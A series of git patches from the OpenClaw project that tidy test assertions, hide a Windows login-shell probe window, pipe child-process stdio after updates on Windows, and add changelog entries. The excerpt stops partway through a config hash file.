describe("MediaStreamHandler security hardening", () => { ); await flush(); await vi.waitFor(() => { - expect(talkEvents.some((event) => event.type === "session.ready")).toBe(true); + expect(talkEvents.map((event) => event.type)).toContain("session.ready"); }); ws.send( @@ -234,7 +234,7 @@ describe("MediaStreamHandler security hardening", () => { ws.close(); await waitForClose(ws); await vi.waitFor(() => { - expect(talkEvents.some((event) => event.type === "session.closed")).toBe(true); + expect(talkEvents.map((event) => event.type)).toContain("session.closed"); }); expect(talkEvents.map((event) => event.type)).toEqual([ From 2bd4529dfd95cf1284a87912287f7e75625cc65e Mon Sep 17 00:00:00 2001 From: Brad Groux <3053586+BradGroux@users.noreply.github.com> Date: Fri, 8 May 2026 01:51:40 -0500 Subject: [PATCH 060/174] fix(shell-env): hide Windows login shell probe (#78266) Fixes #78159. - Add `windowsHide: true` to the login-shell env probe used by shell-env fallback on Windows. - Cover the fallback and trusted-shell paths with focused tests. - Add the changelog attribution for #78266. Verification: - `pnpm vitest run src/infra/shell-env.test.ts` - `pnpm build` - `pnpm check` - Full GitHub CI green at `deb6ffbd3c203fc52f5b320fe5ca5aafa11ade57`. --- CHANGELOG.md | 1 + src/infra/shell-env.test.ts | 12 ++++++++++-- src/infra/shell-env.ts | 1 + 3 files changed, 12 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 463601373d3..578ad57183c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -37,6 +37,7 @@ Docs: https://docs.openclaw.ai - Channels/plugins: show configured official external channels as missing-plugin status rows and send errors with exact install/doctor repair commands after raw package-manager upgrades leave Feishu or WhatsApp uninstalled. Fixes #78702 and #78593. Thanks @MarkMa84 and @mkupiainen. - Codex app-server: disarm the short post-tool completion watchdog after current-turn activity, expose `appServer.turnCompletionIdleTimeoutMs`, and include raw assistant item context in idle-timeout diagnostics so status-only post-tool stalls stop failing as idle. Fixes #77984. Thanks @roseware-dev and @rubencu. - Plugin skills/Windows: publish plugin-provided skill directories as junctions on Windows so standard users without Developer Mode can register plugin skills without symlink EPERM failures. Fixes #77958. (#77971) Thanks @hclsys and @jarro. +- Shell env/Windows: hide the login-shell environment probe child window so gateway startup and shell-env refreshes do not flash a console on Windows. Fixes #78159. (#78266) Thanks @BradGroux. - MS Teams: surface blocked Bot Framework egress by logging JWKS fetch network failures and adding a Bot Connector send hint for transport-level reply failures. Fixes #77674. (#78081) Thanks @Beandon13. - Gateway/sessions: fast-path already-qualified model refs while building session-list rows so `openclaw sessions` and Control UI session lists avoid heavyweight model resolution on large stores. (#77902) Thanks @ragesaq. - Contributor PRs: remind external contributors to redact private information like IP addresses, API keys, phone numbers, and non-public endpoints from real behavior proof. Thanks @pashpashpash. diff --git a/src/infra/shell-env.test.ts b/src/infra/shell-env.test.ts index aa3697d5afb..f1f1fce0866 100644 --- a/src/infra/shell-env.test.ts +++ b/src/infra/shell-env.test.ts @@ -114,7 +114,11 @@ describe("shell env fallback", () => { function expectBinShFallbackExec(exec: ReturnType) { expect(exec).toHaveBeenCalledTimes(1); - expect(exec).toHaveBeenCalledWith("/bin/sh", ["-l", "-c", "env -0"], expect.any(Object)); + expect(exec).toHaveBeenCalledWith( + "/bin/sh", + ["-l", "-c", "env -0"], + expect.objectContaining({ windowsHide: true }), + ); } it("is disabled by default", () => { @@ -425,7 +429,11 @@ describe("shell env fallback", () => { expect(res.ok).toBe(true); expect(exec).toHaveBeenCalledTimes(1); - expect(exec).toHaveBeenCalledWith(trustedShell, ["-l", "-c", "env -0"], expect.any(Object)); + expect(exec).toHaveBeenCalledWith( + trustedShell, + ["-l", "-c", "env -0"], + expect.objectContaining({ windowsHide: true }), + ); }); }); diff --git a/src/infra/shell-env.ts b/src/infra/shell-env.ts index 414904d731a..96b6bf8eb34 100644 --- a/src/infra/shell-env.ts +++ b/src/infra/shell-env.ts @@ -92,6 +92,7 @@ function execLoginShellEnvZero(params: { timeout: params.timeoutMs, maxBuffer: DEFAULT_MAX_BUFFER_BYTES, env: params.env, + windowsHide: true, stdio: ["ignore", "pipe", "pipe"], }); } From 5604cbd3efa5c3a100b04aff7e8bb9bfa0fe7ddc Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:52:09 +0100 Subject: [PATCH 061/174] test: clarify voice call webhook concurrency assertions --- extensions/voice-call/src/webhook.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/voice-call/src/webhook.test.ts b/extensions/voice-call/src/webhook.test.ts index 224fe1fbf31..83254d182fd 100644 --- a/extensions/voice-call/src/webhook.test.ts +++ b/extensions/voice-call/src/webhook.test.ts @@ -1121,7 +1121,7 @@ describe("VoiceCallWebhookServer pre-auth webhook guards", () => { unblockReadBodies(); const settled = await Promise.all(inFlightRequests); - expect(settled.every((response) => response.status === 200)).toBe(true); + expect(settled.map((response) => response.status)).toEqual(Array(8).fill(200)); } finally { unblockReadBodies(); readBodySpy.mockRestore(); @@ -1196,7 +1196,7 @@ describe("VoiceCallWebhookServer pre-auth webhook guards", () => { unblockReadBodies(); const settled = await Promise.all(inFlightRequests); - expect(settled.every((response) => response.statusCode === 200)).toBe(true); + expect(settled.map((response) => response.statusCode)).toEqual(Array(8).fill(200)); } finally { unblockReadBodies(); readBodySpy.mockRestore(); From 2d65908f7fa0c0b543229f71b509408185c91926 Mon Sep 17 00:00:00 2001 From: Brandon Date: Fri, 8 May 2026 02:52:28 -0400 Subject: [PATCH 062/174] fix(update): pipe post-core child stdio on Windows (#78483) Fixes #78445. - Use piped stdio for the post-core update child on Windows so the child and descendants do not inherit the parent console handles. - Relay child stdout/stderr back to the parent when piped so update output remains visible. - Keep non-Windows behavior on inherited stdio. - Add focused coverage for the stdio resolver. Verification: - `pnpm vitest run src/cli/update-cli/update-command.test.ts` - `pnpm build` - `pnpm exec oxlint src/cli/update-cli/update-command.ts src/cli/update-cli/update-command.test.ts` - Full GitHub CI green at `321608e00ba118421ea65124f494458ed229defd`. Co-authored-by: Claude Opus 4.7 (1M context) --- CHANGELOG.md | 1 + src/cli/update-cli/update-command.test.ts | 15 ++++++++++++++ src/cli/update-cli/update-command.ts | 24 ++++++++++++++++++++++- 3 files changed, 39 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 578ad57183c..ea105a01892 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -33,6 +33,7 @@ Docs: https://docs.openclaw.ai - Discord/streaming: default Discord replies to progress draft previews so tool/work activity appears in one edited Discord message unless `channels.discord.streaming.mode` is set to `off`. - OpenAI: support `openai/chat-latest` as an explicit direct API-key model override for trying the moving ChatGPT Instant API alias without changing the stable default model. - OpenAI/realtime: default realtime voice to `gpt-realtime-2`, use the GA Realtime WebSocket session shape for backend OpenAI bridges, and cover backend, WebRTC, Google Live, and Gateway relay paths in the live Talk smoke. (#79130) +- Update/Windows: spawn the post-core-update child process with `stdio:"pipe"` on Windows so PowerShell/CMD console handles are not inherited, preventing the terminal from hanging after `openclaw update` completes. Fixes #78445. (#78483) Thanks @Beandon13. - Plugins/install: add `npm-pack:` installs so local npm pack artifacts run through the same managed npm-root install, lockfile verification, dependency scan, and install-record path as registry npm plugins. - Channels/plugins: show configured official external channels as missing-plugin status rows and send errors with exact install/doctor repair commands after raw package-manager upgrades leave Feishu or WhatsApp uninstalled. Fixes #78702 and #78593. Thanks @MarkMa84 and @mkupiainen. - Codex app-server: disarm the short post-tool completion watchdog after current-turn activity, expose `appServer.turnCompletionIdleTimeoutMs`, and include raw assistant item context in idle-timeout diagnostics so status-only post-tool stalls stop failing as idle. Fixes #77984. Thanks @roseware-dev and @rubencu. diff --git a/src/cli/update-cli/update-command.test.ts b/src/cli/update-cli/update-command.test.ts index 781b7a62641..1cae03eff85 100644 --- a/src/cli/update-cli/update-command.test.ts +++ b/src/cli/update-cli/update-command.test.ts @@ -10,6 +10,7 @@ import { collectMissingPluginInstallPayloads, recoverInstalledLaunchAgentAfterUpdate, recoverLaunchAgentAndRecheckGatewayHealth, + resolvePostCoreUpdateChildStdio, resolvePostInstallDoctorEnv, shouldPrepareUpdatedInstallRestart, resolveUpdatedGatewayRestartPort, @@ -544,3 +545,17 @@ describe("recoverLaunchAgentAndRecheckGatewayHealth", () => { }); }); }); + +describe("resolvePostCoreUpdateChildStdio", () => { + it('returns "pipe" on Windows so the child never inherits the parent console handles', () => { + // On Windows, stdio:"inherit" passes the parent's console HANDLE to the child process. + // PowerShell/CMD will not return the prompt until every holder of those handles exits, + // causing the terminal to hang after `openclaw update` completes (#78445). + expect(resolvePostCoreUpdateChildStdio("win32")).toBe("pipe"); + }); + + it('returns "inherit" on non-Windows platforms', () => { + expect(resolvePostCoreUpdateChildStdio("linux")).toBe("inherit"); + expect(resolvePostCoreUpdateChildStdio("darwin")).toBe("inherit"); + }); +}); diff --git a/src/cli/update-cli/update-command.ts b/src/cli/update-cli/update-command.ts index 34073d5f5d1..3bda5e9f71c 100644 --- a/src/cli/update-cli/update-command.ts +++ b/src/cli/update-cli/update-command.ts @@ -1801,6 +1801,22 @@ function stopPostCoreUpdateChild(child: ChildProcess): void { child.kill(); } +/** + * Returns the stdio mode for the post-core-update child process. + * + * Windows shells (PowerShell/CMD) wait for all processes that hold inherited console handles to + * exit before returning the prompt, even after the immediate child has exited. Using "pipe" on + * Windows prevents the child (and any grandchildren it spawns) from ever receiving a reference to + * the parent's console handles, eliminating the terminal hang seen in #78445. + * + * @internal exported for testing + */ +export function resolvePostCoreUpdateChildStdio( + platform: NodeJS.Platform = process.platform, +): "inherit" | "pipe" { + return platform === "win32" ? "pipe" : "inherit"; +} + async function continuePostCoreUpdateInFreshProcess(params: { root: string; channel: "stable" | "beta" | "dev"; @@ -1832,8 +1848,9 @@ async function continuePostCoreUpdateInFreshProcess(params: { try { await writePostCorePluginInstallRecordsFile(installRecordsPath, params.pluginInstallRecords); + const childStdio = resolvePostCoreUpdateChildStdio(); const child = spawn(resolveNodeRunner(), argv, { - stdio: "inherit", + stdio: childStdio, env: { ...stripGatewayServiceMarkerEnv(disableUpdatedPackageCompileCacheEnv(process.env)), [POST_CORE_UPDATE_ENV]: "1", @@ -1845,6 +1862,11 @@ async function continuePostCoreUpdateInFreshProcess(params: { [POST_CORE_UPDATE_INSTALL_RECORDS_PATH_ENV]: installRecordsPath, }, }); + // When piped, relay child output to the parent process so terminal output is preserved. + if (childStdio === "pipe") { + child.stdout?.pipe(process.stdout); + child.stderr?.pipe(process.stderr); + } const childResult = await new Promise< | { kind: "exit"; exitCode: number } From af49c09d132092cc31e577d9f774110a0aa032e8 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:53:35 +0100 Subject: [PATCH 063/174] test: clarify kilocode model catalog assertions --- extensions/kilocode/provider-models.test.ts | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/extensions/kilocode/provider-models.test.ts b/extensions/kilocode/provider-models.test.ts index 58de9b6f612..72c7f663f50 100644 --- a/extensions/kilocode/provider-models.test.ts +++ b/extensions/kilocode/provider-models.test.ts @@ -121,7 +121,7 @@ describe("discoverKilocodeModels", () => { it("returns static catalog in test environment", async () => { const models = await discoverKilocodeModels(); expect(models.length).toBeGreaterThan(0); - expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + expect(requireModelById(models, "kilo/auto").id).toBe("kilo/auto"); }); it("static catalog has correct defaults for kilo/auto", async () => { @@ -185,7 +185,7 @@ describe("discoverKilocodeModels (fetch path)", () => { await withFetchPathTest(mockFetch, async () => { const models = await discoverKilocodeModels(); expect(models.length).toBeGreaterThan(0); - expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + expect(requireModelById(models, "kilo/auto").id).toBe("kilo/auto"); }); }); @@ -197,7 +197,7 @@ describe("discoverKilocodeModels (fetch path)", () => { await withFetchPathTest(mockFetch, async () => { const models = await discoverKilocodeModels(); expect(models.length).toBeGreaterThan(0); - expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + expect(requireModelById(models, "kilo/auto").id).toBe("kilo/auto"); }); }); @@ -211,8 +211,10 @@ describe("discoverKilocodeModels (fetch path)", () => { }); await withFetchPathTest(mockFetch, async () => { const models = await discoverKilocodeModels(); - expect(models.some((m) => m.id === "kilo/auto")).toBe(true); - expect(models.some((m) => m.id === "anthropic/claude-sonnet-4")).toBe(true); + expect(requireModelById(models, "kilo/auto").id).toBe("kilo/auto"); + expect(requireModelById(models, "anthropic/claude-sonnet-4").id).toBe( + "anthropic/claude-sonnet-4", + ); }); }); @@ -256,7 +258,9 @@ describe("discoverKilocodeModels (fetch path)", () => { const auto = requireModelById(models, "kilo/auto"); expect(auto.name).toBe("Kilo: Auto"); expect(auto.cost.input).toBeCloseTo(5.0); - expect(models.some((m) => m.id === "anthropic/claude-sonnet-4")).toBe(true); + expect(requireModelById(models, "anthropic/claude-sonnet-4").id).toBe( + "anthropic/claude-sonnet-4", + ); }); }); }); From fc31e86e54a7eb795a1a9190ca99c7df2501d2cf Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:54:36 +0100 Subject: [PATCH 064/174] test: clarify irc chunk length assertion --- extensions/irc/src/protocol.test.ts | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/extensions/irc/src/protocol.test.ts b/extensions/irc/src/protocol.test.ts index 8be7c4ff06c..655ae33da8d 100644 --- a/extensions/irc/src/protocol.test.ts +++ b/extensions/irc/src/protocol.test.ts @@ -39,6 +39,10 @@ describe("irc protocol", () => { it("splits long text on boundaries", () => { const chunks = splitIrcText("a ".repeat(300), 120); expect(chunks.length).toBeGreaterThan(2); - expect(chunks.every((chunk) => chunk.length <= 120)).toBe(true); + expect( + chunks + .map((chunk, index) => ({ index, length: chunk.length })) + .filter((chunk) => chunk.length > 120), + ).toEqual([]); }); }); From b01889c00d05ab300dda73856d4ed3d8a41bb0ba Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:55:39 +0100 Subject: [PATCH 065/174] test: clarify google meet export mime assertions --- extensions/google-meet/index.test.ts | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/extensions/google-meet/index.test.ts b/extensions/google-meet/index.test.ts index c216dd989ea..d0250e3ffbf 100644 --- a/extensions/google-meet/index.test.ts +++ b/extensions/google-meet/index.test.ts @@ -1101,7 +1101,10 @@ describe("google-meet plugin", () => { "/drive/v3/files/doc-1/export", "/drive/v3/files/doc-2/export", ]); - expect(driveCalls.every((url) => url.searchParams.get("mimeType") === "text/plain")).toBe(true); + expect(driveCalls.map((url) => url.searchParams.get("mimeType"))).toEqual([ + "text/plain", + "text/plain", + ]); }); it("fetches only the latest Meet conference record for a meeting", async () => { From e35d4a9e41f84d794a901c462772f4d0705dcdc4 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:57:48 +0100 Subject: [PATCH 066/174] test: clarify mattermost model picker ids --- extensions/mattermost/src/mattermost/model-picker.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/mattermost/src/mattermost/model-picker.test.ts b/extensions/mattermost/src/mattermost/model-picker.test.ts index ecd23fb144d..9886a205fe4 100644 --- a/extensions/mattermost/src/mattermost/model-picker.test.ts +++ b/extensions/mattermost/src/mattermost/model-picker.test.ts @@ -104,7 +104,7 @@ describe("Mattermost model picker", () => { }); const ids = modelsView.buttons.flat().map((button) => button.id); - expect(ids.every((id) => typeof id === "string" && /^[a-z0-9]+$/.test(id))).toBe(true); + expect(ids.filter((id) => typeof id !== "string" || !/^[a-z0-9]+$/.test(id))).toEqual([]); expect(new Set(ids).size).toBe(ids.length); }); From 1eb60b88947d7c140018582f5c2292de231664c5 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:58:56 +0100 Subject: [PATCH 067/174] test: clarify mattermost websocket patch assertion --- extensions/mattermost/src/mattermost/monitor-websocket.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/mattermost/src/mattermost/monitor-websocket.test.ts b/extensions/mattermost/src/mattermost/monitor-websocket.test.ts index 34ceeda962f..a2fcf9c80fb 100644 --- a/extensions/mattermost/src/mattermost/monitor-websocket.test.ts +++ b/extensions/mattermost/src/mattermost/monitor-websocket.test.ts @@ -172,7 +172,7 @@ describe("mattermost websocket monitor", () => { data: { token: "token" }, seq: 1, }); - expect(patches.some((patch) => patch.connected === true)).toBe(true); + expect(patches.filter((patch) => patch.connected === true)).toHaveLength(1); expect(patches.filter((patch) => patch.connected === false)).toHaveLength(2); }); From 27fc627f6ec14717fe63e664444737fc2175b3d5 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:00:18 +0100 Subject: [PATCH 068/174] test: clarify zalouser chunk length assertion --- extensions/zalouser/src/send.test.ts | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/extensions/zalouser/src/send.test.ts b/extensions/zalouser/src/send.test.ts index 4614b785bdc..3904882dd21 100644 --- a/extensions/zalouser/src/send.test.ts +++ b/extensions/zalouser/src/send.test.ts @@ -174,7 +174,11 @@ describe("zalouser send helpers", () => { expect(formatted.text.length).toBeGreaterThan(2000); expect(mockSendText).toHaveBeenCalledTimes(2); expect(mockSendText.mock.calls.map((call) => call[1]).join("")).toBe(formatted.text); - expect(mockSendText.mock.calls.every((call) => call[1].length <= 2000)).toBe(true); + expect( + mockSendText.mock.calls + .map((call, index) => ({ index, length: call[1].length })) + .filter((call) => call.length > 2000), + ).toEqual([]); expect(result).toMatchObject({ ok: true, messageId: "mid-2c-2" }); }); From 7b5d6cfb92fc823833a333a72d8f4b004ebe7080 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:02:20 +0100 Subject: [PATCH 069/174] test: clarify msteams attachment url assertions --- extensions/msteams/src/attachments.graph.test.ts | 7 ++++++- extensions/msteams/src/attachments.test.ts | 4 ++-- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/extensions/msteams/src/attachments.graph.test.ts b/extensions/msteams/src/attachments.graph.test.ts index 608aa970ded..5ff1b2b0979 100644 --- a/extensions/msteams/src/attachments.graph.test.ts +++ b/extensions/msteams/src/attachments.graph.test.ts @@ -313,7 +313,12 @@ describe("msteams graph attachments", () => { expectAttachmentMediaLength(media.media, 0); const calledUrls = fetchMock.mock.calls.map((call) => call[0]); - expect(calledUrls.some((url) => url.startsWith(GRAPH_SHARES_URL_PREFIX))).toBe(true); + expect(calledUrls).toEqual([ + DEFAULT_MESSAGE_URL, + expect.stringContaining(GRAPH_SHARES_URL_PREFIX), + `${DEFAULT_MESSAGE_URL}/hostedContents`, + expect.stringContaining(GRAPH_SHARES_URL_PREFIX), + ]); expect(calledUrls).not.toContain(escapedUrl); }); diff --git a/extensions/msteams/src/attachments.test.ts b/extensions/msteams/src/attachments.test.ts index 023821e17aa..66ace547990 100644 --- a/extensions/msteams/src/attachments.test.ts +++ b/extensions/msteams/src/attachments.test.ts @@ -638,8 +638,8 @@ describe("msteams attachments", () => { return resolveRequestUrl(input); }); // Should have hit the original host, NOT graph shares. - expect(calledUrls.some((url) => url === directUrl)).toBe(true); - expect(calledUrls.some((url) => url.startsWith(GRAPH_SHARES_URL_PREFIX))).toBe(false); + expect(calledUrls).toContain(directUrl); + expect(calledUrls.filter((url) => url.startsWith(GRAPH_SHARES_URL_PREFIX))).toEqual([]); }); }); From 2d1ef7b6b42397da6bb3c3340bb1afa8ebc54499 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:03:31 +0100 Subject: [PATCH 070/174] test: clarify channel config save request assertion --- ui/src/ui/app-channels.test.ts | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/ui/src/ui/app-channels.test.ts b/ui/src/ui/app-channels.test.ts index 53e58f15d8e..16847e97d27 100644 --- a/ui/src/ui/app-channels.test.ts +++ b/ui/src/ui/app-channels.test.ts @@ -14,8 +14,11 @@ type ChannelsActionHostForTest = ConfigState & }; function createChannelsSnapshot(name = "saved"): ChannelsStatusSnapshot { - const nostrAccount = { accountId: "default", configured: true, profile: { name } } as - ChannelsStatusSnapshot["channelAccounts"][string][number]; + const nostrAccount = { + accountId: "default", + configured: true, + profile: { name }, + } as ChannelsStatusSnapshot["channelAccounts"][string][number]; return { ts: Date.now(), channelOrder: ["nostr"], @@ -131,6 +134,6 @@ describe("channel config actions", () => { expect(host.configFormDirty).toBe(true); expect(host.configForm).toEqual({ gateway: { mode: "local" } }); expect(host.configSnapshot?.config).toEqual({ gateway: { mode: "remote" } }); - expect(request.mock.calls.some(([method]) => method === "channels.status")).toBe(false); + expect(request.mock.calls.map(([method]) => method)).not.toContain("channels.status"); }); }); From b7aca7dc6e18fd7322125ba01301690332f6dae5 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:05:01 +0100 Subject: [PATCH 071/174] test: clarify usage helper warning assertions --- ui/src/ui/usage-helpers.node.test.ts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/ui/src/ui/usage-helpers.node.test.ts b/ui/src/ui/usage-helpers.node.test.ts index afc4ffb5193..4ad05476b2c 100644 --- a/ui/src/ui/usage-helpers.node.test.ts +++ b/ui/src/ui/usage-helpers.node.test.ts @@ -28,8 +28,10 @@ describe("usage-helpers", () => { it("warns on unknown keys and invalid numbers", () => { const session = { key: "a", usage: { totalTokens: 10, totalCost: 0 } }; const res = filterSessionsByQuery([session], "wat:1 minTokens:wat"); - expect(res.warnings.some((w) => w.includes("Unknown filter"))).toBe(true); - expect(res.warnings.some((w) => w.includes("Invalid number"))).toBe(true); + expect(res.warnings).toEqual([ + expect.stringContaining("Unknown filter"), + expect.stringContaining("Invalid number"), + ]); }); it("parses tool summaries from compact session logs", () => { From 02fe0d8978dbf5b7acc4529d505b31f044fdf481 Mon Sep 17 00:00:00 2001 From: pashpashpash Date: Fri, 8 May 2026 00:05:35 -0700 Subject: [PATCH 072/174] Keep OpenAI Codex migrations on automatic runtime routing (#79238) * fix: keep migrated openai codex routes automatic * scope runtime policy to providers and models * fix runtime policy surfaces * fix ci runtime policy checks * fix doctor stale session runtime pins --- CHANGELOG.md | 3 +- docs/.generated/config-baseline.sha256 | 6 +- docs/cli/crestodian.md | 2 +- docs/cli/doctor.md | 2 +- docs/concepts/agent-runtimes.md | 64 +++--- docs/concepts/model-providers.md | 23 ++- docs/concepts/models.md | 2 +- docs/gateway/config-agents.md | 37 ++-- docs/gateway/doctor.md | 8 +- docs/help/faq-first-run.md | 11 +- docs/help/faq-models.md | 2 +- docs/help/testing-live.md | 8 +- docs/plugins/codex-computer-use.md | 8 +- docs/plugins/codex-harness.md | 187 ++++++++---------- docs/plugins/sdk-agent-harness.md | 122 +++++++----- docs/providers/anthropic.md | 8 +- docs/providers/google.md | 2 +- docs/providers/openai.md | 67 ++++--- docs/tools/acp-agents-setup.md | 2 +- docs/tools/acp-agents.md | 4 +- docs/tools/plugin.md | 4 +- src/agents/agent-command.ts | 2 - src/agents/agent-runtime-metadata.ts | 80 +++----- src/agents/agent-runtime-policy.ts | 19 -- .../auth-profile-runtime-contract.test.ts | 73 +++---- .../auth-profiles.external-cli-scope.test.ts | 8 +- .../auth-profiles/external-cli-scope.ts | 21 +- src/agents/btw.ts | 2 - .../command/attempt-execution.cli.test.ts | 91 +++++++-- src/agents/command/attempt-execution.ts | 97 +-------- src/agents/harness-runtimes.ts | 98 ++++++--- src/agents/harness/policy.ts | 56 ++++++ src/agents/harness/selection.test.ts | 136 +++++++------ src/agents/harness/selection.ts | 131 +----------- src/agents/model-runtime-aliases.ts | 34 ++-- src/agents/model-runtime-policy.ts | 166 ++++++++++++++++ src/agents/openai-codex-routing.test.ts | 5 +- src/agents/openai-codex-routing.ts | 7 +- src/agents/tools/agents-list-tool.test.ts | 15 +- src/agents/tools/agents-list-tool.ts | 16 +- .../reply/agent-runner-execution.ts | 21 +- .../agent-runner.misc.runreplyagent.test.ts | 14 +- .../directive-handling.mixed-inline.test.ts | 2 + .../reply/directive-handling.model.test.ts | 17 +- .../reply/directive-handling.model.ts | 8 +- .../reply/directive-handling.persist.ts | 35 ++-- ...ispatch-from-config.reply-dispatch.test.ts | 2 + src/auto-reply/reply/dispatch-from-config.ts | 3 - src/auto-reply/reply/get-reply-run.ts | 12 +- src/auto-reply/reply/model-selection.test.ts | 15 +- src/auto-reply/reply/model-selection.ts | 2 - src/commands/agent.test.ts | 16 +- src/commands/doctor-claude-cli.test.ts | 6 +- src/commands/doctor-claude-cli.ts | 8 +- .../doctor-legacy-config.migrations.test.ts | 45 +++-- .../doctor-session-state-providers.test.ts | 16 +- .../doctor-session-state-providers.ts | 29 +-- src/commands/doctor/repair-sequencing.test.ts | 8 +- .../doctor/shared/codex-native-assets.ts | 12 +- .../shared/codex-route-warnings.test.ts | 37 ++-- .../doctor/shared/codex-route-warnings.ts | 118 +++-------- .../shared/legacy-config-core-normalizers.ts | 102 +++++++--- .../shared/legacy-config-migrate.test.ts | 16 +- ...legacy-config-migrations.runtime.agents.ts | 73 +++---- .../missing-configured-plugin-install.test.ts | 83 +++++++- .../missing-configured-plugin-install.ts | 10 +- .../sessions.model-resolution.test.ts | 12 +- src/commands/sessions.test.ts | 10 +- src/commands/sessions.ts | 47 ++--- src/commands/status.summary.runtime.test.ts | 19 +- src/commands/status.summary.runtime.ts | 43 +--- src/config/model-input.ts | 10 +- src/config/plugin-auto-enable.core.test.ts | 34 ++-- src/config/schema.help.ts | 35 +++- src/config/schema.labels.ts | 17 +- src/config/types.agent-defaults.ts | 2 + src/config/types.agents.ts | 3 + src/config/types.models.ts | 5 + src/config/zod-schema.agent-defaults.ts | 1 + src/config/zod-schema.agent-runtime.ts | 13 ++ src/config/zod-schema.core.ts | 9 + src/cron/isolated-agent/run-executor.ts | 1 + .../run.payload-fallbacks.test.ts | 5 +- src/cron/isolated-agent/run.ts | 2 - .../protocol/schema/agents-models-skills.ts | 2 + src/gateway/server-methods/sessions.ts | 10 +- .../server.sessions.permissions-hooks.test.ts | 2 +- src/gateway/server.sessions.store-rpc.test.ts | 4 +- src/gateway/session-utils.test.ts | 34 ++-- src/gateway/session-utils.ts | 19 +- src/shared/session-types.ts | 2 +- src/status/agent-runtime-label.ts | 5 +- 92 files changed, 1421 insertions(+), 1264 deletions(-) delete mode 100644 src/agents/agent-runtime-policy.ts create mode 100644 src/agents/harness/policy.ts create mode 100644 src/agents/model-runtime-policy.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index ea105a01892..32093d2f1d2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -180,6 +180,7 @@ Docs: https://docs.openclaw.ai - fix(discord): gate user allowlist name resolution [AI]. (#79002) Thanks @pgondhi987. - fix(msteams): gate startup user allowlist resolution [AI]. (#79003) Thanks @pgondhi987. - Harden macOS shell wrapper allowlist parsing [AI]. (#78518) Thanks @pgondhi987. +- Doctor/OpenAI: stop pinning migrated `openai-codex/*` routes to the Codex runtime so mixed-provider agents keep automatic PI routing for MiniMax, Anthropic, and other non-OpenAI model switches. - Gateway/macOS: `openclaw gateway stop` now uses `launchctl bootout` by default instead of unconditionally calling `launchctl disable`, so KeepAlive auto-recovery still works after unexpected crashes; use the new `--disable` flag to opt into the persistent-disable behavior when a manual stop should survive reboots. Fixes #77934. Thanks @bmoran1022. - Gateway/macOS: `repairLaunchAgentBootstrap` no longer kickstarts an already-running LaunchAgent, preventing unnecessary service restarts and session disconnects when repair runs against a healthy gateway. Fixes #77428. Thanks @ramitrkar-hash. - Gateway/macOS: `openclaw gateway stop --disable` now persists the LaunchAgent disable bit even after a previous bootout left the service not loaded, keeping the explicit stay-down path reliable. (#78412) Thanks @wdeveloper16. @@ -341,7 +342,7 @@ Docs: https://docs.openclaw.ai - CLI/status: show the selected agent runtime/harness in `openclaw status` session rows so terminal status matches the `/status` runtime line. Thanks @vincentkoc. - CLI/sessions: prune old unreferenced transcript, compaction checkpoint, and trajectory artifacts during normal `sessions cleanup`, so gateway restart or crash orphans do not accumulate indefinitely outside `sessions.json`. Fixes #77608. Thanks @slideshow-dingo. -- Doctor/Codex: repair legacy `openai-codex/*` routes in primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel overrides, and stale session pins to canonical `openai/*`, selecting `agentRuntime.id: "codex"` only when the Codex plugin is installed, enabled, contributes the `codex` harness, and has usable OAuth; otherwise select `agentRuntime.id: "pi"`. Thanks @vincentkoc. +- Doctor/Codex: repair legacy `openai-codex/*` routes to canonical `openai/*`, keep OpenAI agent turns on Codex by default, ignore stale whole-agent/session runtime pins, preserve explicit provider/model runtime policy, and migrate legacy runtime model refs to model-scoped runtime entries. Thanks @vincentkoc. - Video generation: wait up to 20 minutes for slow fal/MiniMax queue-backed jobs, stop forwarding unsupported Google Veo generated-audio options, and normalize MiniMax `720P` requests to its supported `768P` resolution with the usual override warning/details instead of failing fallback. - Video generation: accept provider-specific aspect-ratio and resolution hints at the tool boundary, normalize `720P` to MiniMax's supported `768P`, and stop sending Google `generateAudio` on Gemini video requests so provider fallback can recover from model-specific parameter differences. Thanks @vincentkoc. - Channels/durable delivery: preserve channel-specific final reply semantics when using durable sends, including Telegram selected quotes and silent error replies plus WhatsApp message-sending cancellations. diff --git a/docs/.generated/config-baseline.sha256 b/docs/.generated/config-baseline.sha256 index 5f7a7019a69..136ddc8b2fb 100644 --- a/docs/.generated/config-baseline.sha256 +++ b/docs/.generated/config-baseline.sha256 @@ -1,4 +1,4 @@ 